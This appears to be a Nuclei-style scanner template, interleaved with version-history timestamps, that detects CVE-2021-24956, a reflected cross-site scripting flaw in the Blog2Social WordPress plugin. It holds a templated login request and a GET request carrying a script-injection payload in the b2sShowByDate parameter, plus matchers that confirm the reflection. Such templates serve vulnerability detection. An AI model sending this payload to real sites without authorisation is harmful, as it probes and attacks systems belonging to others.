2023-08-23 17:42:32 +00:00
id : CVE-2021-24956
info :
name : Blog2Social < 6.8.7 - Cross-Site Scripting
author : ritikchaddha
severity : medium
description : |
The Blog2Social : Social Media Auto Post & Scheduler WordPress plugin before 6.8.7 does not sanitise and escape the b2sShowByDate parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting issue.
2023-09-06 12:09:01 +00:00
remediation : Fixed in version 6.8.7
2023-08-23 17:42:32 +00:00
reference :
- https://wpscan.com/vulnerability/5882ea89-f463-4f0b-a624-150bbaf967c2
- https://nvd.nist.gov/vuln/detail/CVE-2021-24956
classification :
2023-08-31 11:46:18 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
2023-08-23 17:42:32 +00:00
cve-id : CVE-2021-24956
2023-08-31 11:46:18 +00:00
cwe-id : CWE-79
epss-score : 0.00106
2023-11-27 09:19:41 +00:00
epss-percentile : 0.4302
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:adenion:blog2social:*:*:*:*:*:wordpress:*:*
2023-08-23 17:42:32 +00:00
metadata :
verified : true
2023-09-06 12:09:01 +00:00
max-request : 2
2023-08-31 11:46:18 +00:00
vendor : adenion
product : blog2social
2023-09-06 12:09:01 +00:00
framework : wordpress
2023-08-23 18:12:05 +00:00
tags : cve,cve2021,wordpress,wp-plugin,xss,authenticated,wpscan
2023-08-23 17:42:32 +00:00
http :
- raw :
- |
POST /wp-login.php HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/admin.php?page=blog2social&b2sShowByDate="><script>alert(document.domain)</script> HTTP/1.1
Host : {{Hostname}}
matchers-condition : and
matchers :
- type : word
part : body
words :
- '<script>alert(document.domain)</script>" name='
- 'Your Activity'
condition : and
- type : word
part : header
words :
- text/html
- type : status
status :
- 200
2023-11-27 10:10:24 +00:00
# digest: 4b0a00483046022100d088fca34ccfa0b8c2cfaf6c9794bb88c57c9ecd7c6769cadac99a714d3b0975022100b62cdc58b104f778e20d8a96a2ea2c6487ed994a5237bcbf82c0f9971f7bfe5c:922c64590222798bb761d5b6d8e72950